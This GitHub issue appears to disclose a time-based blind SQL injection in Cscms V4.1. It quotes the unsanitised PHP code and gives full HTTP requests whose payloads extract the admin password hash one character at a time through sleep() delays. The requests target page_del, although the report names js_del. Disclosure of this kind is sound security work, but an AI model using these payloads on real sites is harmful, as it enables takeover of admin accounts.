

New issue

Jump to bottom

# Cscms V4.1 has sqlinjection vulnerability(2) #9

Open longlonglongname opened this issue on Oct 26, 2020 · 0 comments

longlonglongname commented on Oct 26, 2020

## 1.Vulnerability summary

Vulnerability name: Cscms V4.1 has sqlinjection vulnerabilities  
Report date: 2020-10-26  
Product Home: <http://www.chshcms.com/down.html>  
Software link:<http://www.chshcms.com/down.html>  
Version:v4.1

## 2.Vulnerability overview

Vulnerability file:cscms4.1\plugins\sys\admin\label.php 197 lines-219 lines  
Vulnerability function: js\_del  
Vulnerability param:id

```
public function js_del(){
    $id = $this->input->get_post('id');
    if(empty($id)) getjson(L('plub_04'));
    //删除文件
    if(is_array($id)){
        foreach ($id as $ids) {
            $row=$this->db->query("SELECT js FROM ".CS_SqlPrefix."ads where id='".$ids."'")->row();
            if($row){
                $jsurl=":Web_Path.attachment/js/".$row->js.'.js';
                @Unlink($jsurl);
            }
        }
    }else{
        $row=$this->db->query("SELECT js FROM ".CS_SqlPrefix."ads where id='".$id."'")->row();
        if($row){
            $jsurl=":Web_Path.attachment/js/".$row->js.'.js';
            @Unlink($jsurl);
        }
    }
    $this->Ccdb->get_del('ads',$id);
    $info['url'] = site_url('label/js').'?v='.rand(1000,9999);
    getjson($info,0);
}
```

## 3.vulnerability exploitation

sql injection type: timebased-sqlinjection

wrong answer:

```
POST /cscms/upload/admin.php/label/page_del HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0)
Gecko/20100101 Firefox/81.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 129
Origin: http://localhost
Connection: close
Referer: http://localhost/cscms/upload/admin.php/label
Cookie: cscms_admin_id=inJ8b2ldAMv;
cscms_admin_login=K5MeoQDAFP9AyJYsXdYpsQGebxStuiIbZ2d8tm45ae0D1lvB5vzA;
cscms_session=6vvfnii2ltpglj6edl5svpkcdtvmbfdg

id=1' union select 1,(select if((select
substr((select+adminpass+from+v4l_admin+where+adminname=' admin'),1,1)='q'
),sleep(10),1))#
```

Done

```
HTTP/1.1 200 OK
Date: Mon, 26 Oct 2020 07:12:33 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fcgid/2.3.9
X-Powered-By: PHP/5.6.27
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Generator: Cscms v4 (http://www.chshcms.com)
Set-Cookie: cscms_session=6vvfnii2ltpglj6edl5svpkcdtvmbfdg; expires=Mon, 26-Oct-2020
09:12:33 GMT; Max-Age=7200; path=/; httponly
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 138
```

```
{"error":0,"info":{"url":"/cscms/upload/admin.php/label/page?v=4888"},"msg":{"url":"/cscms/upload/admin.php/label/page?v=4888"}}
```

Done

right answer:

```
POST /cscms/upload/admin.php/label/page_del HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0)
Gecko/20100101 Firefox/81.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 129
Origin: http://localhost
Connection: close
Referer: http://localhost/cscms/upload/admin.php/label
Cookie: cscms_admin_id=inJ8b2ldAMv;
cscms_admin_login=K5MeoQDAFP9AyJYsXdYpsQGebxStuiIbZ2d8tm45ae0D1lvB5vzA;
cscms_session=6vvfnii2ltpglj6edl5svpkcdtvmbfdg

id=1' union select 1,(select if((select
substr((select+adminpass+from+v4l_admin+where+adminname=' admin'),1,1)='9'
),sleep(10),1))#
```

Done

```
HTTP/1.1 200 OK
Date: Mon, 26 Oct 2020 07:12:03 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fcgid/2.3.9
X-Powered-By: PHP/5.6.27
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Generator: Cscms v4 (http://www.chshcms.com)
Set-Cookie: cscms_session=6vvfnii2ltpglj6edl5svpkcdtvmbfdg; expires=Mon, 26-Oct-2020
09:12:03 GMT; Max-Age=7200; path=/; httponly
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 138
```

```
{"error":0,"info":{"url":"/cscms/upload/admin.php/label/page?v=7008"},"msg":{"url":"/cscms/upload/admin.php/label/page?v=7008"}}
```

Done

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant

